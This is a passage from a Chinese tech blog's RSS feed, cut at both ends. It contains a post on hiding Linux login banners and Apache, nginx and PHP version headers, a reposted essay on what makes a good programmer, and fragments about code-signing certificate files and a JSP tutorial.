inherit;&quot;/&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 微软公司特有的双证书文件格式，经常用于代码签名，其中&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1、pvk用于保存私钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、spc用于保存公钥&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 08 Jul 2019 10:30:07 +0800</pubDate></item><item><title>隐藏/屏蔽服务器信息与web软件版本信息</title><link>http://www.rf.sh.cn:80/post/3078.html</link><description>&lt;p&gt;摘自：&lt;a href=&quot;https://blog.csdn.net/niao_ye/article/details/39666795&quot;&gt;https://blog.csdn.net/niao_ye/article/details/39666795&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;http://www.opsers.org/security/hide-mask-information-and-web-server-software-version-information.html&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;俗话说的好，不怕偷，就怕被惦记着啊！这名话用到服务器上很适合啊。对于黑客来说，入侵第一步，一般都是先扫描，这些扫描包括服务器的类型，提供服务的软件及版本号，然后针对这些系统或软件的相应漏洞进行入侵。那么如何来隐藏这些信息呢？这就是今天的技术内容。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 8px 0px 16px; padding: 0px; font-size: 22px; font-family: 微软雅黑; color: rgb(79, 79, 79); line-height: 30px; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;1、隐藏服务器系统信息&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;在缺省情况下，当你登陆到linux系统，它会告诉你该linux发行版的名称、版本、内核版本、服务器的名称。为了不让这些默认的信息泄露出来，我们要进行下面的操作，让它只显示一个&amp;quot;login:&amp;quot;提示符。&amp;nbsp;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;删除/etc/issue和/etc/issue.net这两个文件。&amp;nbsp;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;本地登陆输入用户名和密码前显示的信息写在/etc/issue，当然，在这个文件你也可以写入其他的信息。&amp;nbsp;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;而/etc/issue.net是供telnet这个远端登入显示的信息，默认里面内容与/etc/issue是一样的。不过，这个现在好像没有什么人在用吧！&amp;nbsp;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;下面我就简单的了解一下issue文件中的一些代码含义&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;\d&amp;nbsp;本地端时间的日期；&amp;nbsp;
\l&amp;nbsp;显示第几个终端机介面；&amp;nbsp;
\m&amp;nbsp;显示硬体的等级&amp;nbsp;(i386/i486/i586/i686...)；&amp;nbsp;
\n&amp;nbsp;显示主机的网路名称；&amp;nbsp;
\o&amp;nbsp;显示&amp;nbsp;domain&amp;nbsp;name；&amp;nbsp;
\r&amp;nbsp;作业系统的版本&amp;nbsp;(相当于&amp;nbsp;uname&amp;nbsp;-r)&amp;nbsp;
\t&amp;nbsp;显示本地端时间的时间；&amp;nbsp;
\s&amp;nbsp;作业系统的名称；&amp;nbsp;
\v&amp;nbsp;作业系统的版本。&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;在这里顺便说一下，登陆系统后显示的信息修改方法（PS：如果系统真到了这一步，那已经说明成为了别人的肉机了啊！）。&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;登陆系统后的信息是写在/etc/motd文件中，默认是空的，你可以在这里面写你想显示的信息。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 8px 0px 16px; padding: 0px; font-size: 22px; font-family: 微软雅黑; color: rgb(79, 79, 79); line-height: 30px; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;2、常用的服务软件版本信息屏蔽&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;上面讲了如何把服务器的信息屏蔽，那么我在服务器上提供服务的软件版本信息如何隐藏呢？下面介绍目前几个常用的服务软件版本信息屏蔽。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;先来介绍一个命令。&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;curl&amp;nbsp;--head&amp;nbsp;http://localhost&amp;nbsp;
查看服务器提供HTTP服务的相关信息&amp;nbsp;
这里会显示你的HTTP是什么程序，哪个版本如&amp;nbsp;
Server:&amp;nbsp;nginx/0.8.36&amp;nbsp;
还有PHP的相关信息&amp;nbsp;
X-Powered-By:&amp;nbsp;PHP/5.2.14&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;下面就是如何来隐藏这些信息了&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;&lt;br style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word;&quot;/&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; overflow-wrap: break-word; color: rgb(255, 0, 0);&quot;&gt;隐藏apache版本信息:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;开启&amp;nbsp;httpd.conf，加入以下两行:&amp;nbsp;
ServerTokens&amp;nbsp;ProductOnly&amp;nbsp;
ServerSignature&amp;nbsp;Off&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word; color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;隐藏Nginx版本信息:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;开启&amp;nbsp;nginx.conf，在http&amp;nbsp;{&amp;nbsp;}里加上：&amp;nbsp;
server_tokens&amp;nbsp;off;&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word; color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;隐藏php-fpm版本信息：&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;开启php-fpm配置文件,找到：&amp;nbsp;
fastcgi_param&amp;nbsp;SERVER_SOFTWARE&amp;nbsp;nginx/$nginx_version;&amp;nbsp;
改为：&amp;nbsp;
fastcgi_param&amp;nbsp;SERVER_SOFTWARE&amp;nbsp;nginx0.0.0;&amp;nbsp;#(这个nginx0.0.0就是显示的内容)&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word; color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, Roboto, Noto, Arial, &amp;quot;PingFang SC&amp;quot;, sans-serif; overflow-wrap: break-word;&quot;&gt;隐藏PHP版本信息：&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 24px; padding: 8px; position: relative; font-family: Consolas, Inconsolata, Courier, monospace; white-space: pre-wrap; overflow-wrap: break-word; overflow-x: auto; line-height: 16px; background-color: rgb(255, 255, 255);&quot;&gt;开启php.ini，加入:&amp;nbsp;
expose_php&amp;nbsp;=&amp;nbsp;Off&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 16px; padding: 0px; font-family: 微软雅黑; color: rgb(77, 77, 77); line-height: 26px; overflow-x: auto; overflow-wrap: break-word; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-family: &amp;quot;Microsoft Yahei&amp;quot;; overflow-wrap: break-word;&quot;&gt;完成以上设定后，重新启动 Apache/Nginx 即可。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 25 Jun 2019 23:21:31 +0800</pubDate></item><item><title>检测一下自己适不适合当程序员</title><link>http://www.rf.sh.cn:80/post/3077.html</link><description>&lt;p&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　如今，软件蚕食一切，未来是属于程序员，但不是每个人都能当好程序员。那，什么样的人适合当程序员？什么样的人又不适合做程序员？&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　编程要想成功最重要的是态度，好程序员和坏程序员之间的差别几乎永远是态度。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　一、耐心&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　对程序员来说这是很重要的一条。写代码和调试总是令人沮丧，要想做好，你得保持冷静，至少冷静到能够保持清晰的头脑。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　二、精力&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　处理棘手问题，编写大量代码容易使得身心俱疲。最重要的是要有的 “坐能量”，也就是屁股不离座直到工作完成的能力。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　三、逻辑思维&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　这条看似明显，其实不然。一般的程序员在碰到棘手问题的时候一般是靠猜来解决的。运气好可能猜得中，但运气不好就难搞了。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　问题是猜并不能有效缩小可能原因的范围好的程序员会提出猜想然后进行测试，从而排除掉一堆的可能性。比方说，屏蔽一段代码，看看问题是不是还出现。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　四、不自负&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　编程不是你自己的事，这跟你的团队、代码、客户、利益攸关者等等都有关系。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　五、当不好程序员的 5 个迹象&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　1、讨厌用 Google&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　现在的代码来得快去得也快，而至关重要的事情是把你的东西尽快推向市场。任何不愿每天至少使用搜索引擎 1 小时的人都应该另寻高就。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　Google 的研究发现，开发者搜代码越来越频繁，有人可能会说自己不是讨厌用而是用不了。记得曾经看到过一句话说：不懂用 google 的想都不要想当程序员了……&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　2、朝九晚五的心态&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　再强调一遍：及时发布很重要。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　普通的程序员往往每天工作不到 8 小时，这也就是平庸的原因所在。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　不平庸的程序员连续 22 小时冲刺以后才能打个盹隔 4 天才洗次澡并在接下来的 2 周时间里每天要用 2 小时写一些报告。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　3、极其糟糕的记忆&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　编程就是开很多的会，做各种各样的变更，可能脑子里面要装 100 页的代码。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　未必是每一行都要记得清清楚楚，但起码在管理层又折腾出一个变更或客户突然又冒出一个想法时要知道你的程序是干什么用的，什么地方可能会失败，怎样才能很快修好。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　所以，好的记忆也很重要！&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　4、因为错误而过早放弃&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　哪怕是简单的错误也不要放弃，这会让你的代码和心态大不同。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　好的程序员，在写一长串代码的时候会把代码分解出来，分段测试。最后你总会找到问题的，但一定不要放弃。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　5、只对输出而不是质量感兴趣&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　开发出好应用是你的责任。如果你为了赶时间而牺牲应用的质量，你可以成为程序员，但不会是伟大的程序员。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　如果你觉得编程很乏味，学习又总是繁琐无趣的话，那你想做好就很难了。&lt;/span&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;br style=&quot;font-family: 宋体; font-size: 16px; text-align: justify; white-space: normal; background-color: rgb(238, 238, 238);&quot;/&gt;&lt;span style=&quot;font-family: 宋体; font-size: 16px; text-align: justify;&quot;&gt;　　但是要记住的是，编程不是只有“精英”才能干的事情。如果你想编程， IT行业永远都缺人，除非你一点都不喜欢编程，或者没有准备好看在钱的份上忍住这种不喜欢，否则都可以来编程！&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;摘自：http://bbs.tianya.cn/post-itinfo-517018-1.shtml&lt;/p&gt;</description><pubDate>Fri, 28 Jul 2017 18:21:40 +0800</pubDate></item><item><title>JSP教程</title><link>http://www.rf.sh.cn:80/post/3070.html</link><description>&lt;p&gt;&lt;a href=&quot;http://www.yiibai.com/jsp/&quot; 